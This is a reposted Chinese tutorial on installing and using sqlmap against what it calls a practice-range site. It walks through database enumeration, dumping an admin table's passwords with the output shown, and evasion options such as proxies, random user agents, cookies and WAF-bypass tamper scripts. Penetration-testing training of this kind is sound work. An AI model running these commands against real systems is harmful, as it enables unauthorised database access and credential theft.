栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Sqlmap工具

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Sqlmap工具

目录

sqlmap工具

相关环境及工具

安装:

1.python环境。(√)

2.sqlmap工具的安装包

基础命令

进阶命令


sqlmap工具


sqlmap工具:专门用于 sql注入漏洞的。

sql注入漏洞:和数据库相关。

相关环境及工具

python官网:

Welcome to Python.org

sqlmap官网:

sqlmap: automatic SQL injection and database takeover tool

打包版:

链接:https://pan.baidu.com/s/1ASaWlvG9-s94MLa5p-nLng 

提取码:cnbm 
 

安装:

1.python环境。(√)

首先双击python安装包,打开后点击Next(下一步)。

点击Next(下一步)。

拉到最下面。

发现有一行为“叉”。

选择第一个选项,点击Next(下一步)。

等待安装。

安装完成,点击Finsh。

 2.sqlmap工具的安装包

我们先打开新生成的python27文件夹,把解压出的sqimap拖进去。

打开sqlmap文件夹。

在顶部索引栏执行"cmd"命令(意在用命令行格式启动sqlmap)。

在命令行界面执行“python sqlmap.py -h"命令(列出帮助命令)。

出现以下界面说明启动成功。

 

基础命令

命令:-h,作用:查看帮助。使用方法:python sqlmap.py -h 


命令:-u,作用:确定目标网站。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1"

以此靶场为例。

输入网址执行命令。

 
可以看到已经在扫描。

命令:-r ,作用:确定目标网站。使用方法:python sqlmap.py -r 1.txt                                       ***

首先抓个有关网站的包。

保存到新建在sqlmap的记事本中,然后执行命令即可。


命令:--data,作用:确定参数。python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1&pid=2&ssid=3" --data="pid=2&ssid=3"
    ps:当你手动测试网站的时候,确定某个参数存在漏洞。提高渗透的效率。
    ps:逐参删除法。参数挨个删除,找到能够【影响】网站的参数。那么这个参数,就很有可能是要测试的参数。


命令:--dbs ,作用:查询库名相关的数据。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs


        [*] information_schema
        [*] maoshe
        [*] test


命令:-D,作用:指定数据库。↓↓↓↓联合使用↓↓↓↓


命令:--tables,作用:查询所有表名。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
        |admin |
        | dirs  |
        | news  |
        | xss |
    ps:数据库的结构:库、表、列、数据


命令:-T,作用:指定表名。


命令:--columns,查看所有的列名。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
        | Id       | int(11)     |
        | password | varchar(11) |
        | username | varchar(11)


命令:-C ,总用:指定列名。↓↓↓↓联合使用↓↓↓↓


命令:--dump,作用:查数据。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C password --dump
    ps:牢饭命令
     password   |
    | hellohack  |
    | zkaqbanban |

    使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dump

进阶命令


命令:--proxy,作用:使用代理。使用语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --proxy="http://127.0.0.1:8080/" 


命令:--random-agent ,作用:改变UA。使用语法:python sqlmap.py -u

"http://rhiq8003.ia.aqlab.cn/?id=1" --proxy="http://127.0.0.1:8080/" --random-agent   


命令:--cookie,作用:使用网站身份去扫描网站。使用语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --cookie="A=14; jwt_id=10225;"
        使用-r,就可以不用--cookie


命令:--level ,作用:提高扫描强度。默认1 


命令:--risk  ,作用:提高风险等级。 默认1 


        使用语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --level 3 --risk 2
命令:--batch ,作用:默认选择,自动判断。。python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --batch 
        Y/N 


命令:--tamper,作用:使用脚本,绕过IPS、WAF等。使用方法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --tamper="tamper/between.py,tamper/randomcase.py"
    ps:大多数情况没啥用。
个人要求:
        1.掌握绕WAF的方法。--->  https://bbs.zkaq.cn/t/6205.html
        2.掌握写python脚本。 --> 自学


 


转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/937910.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号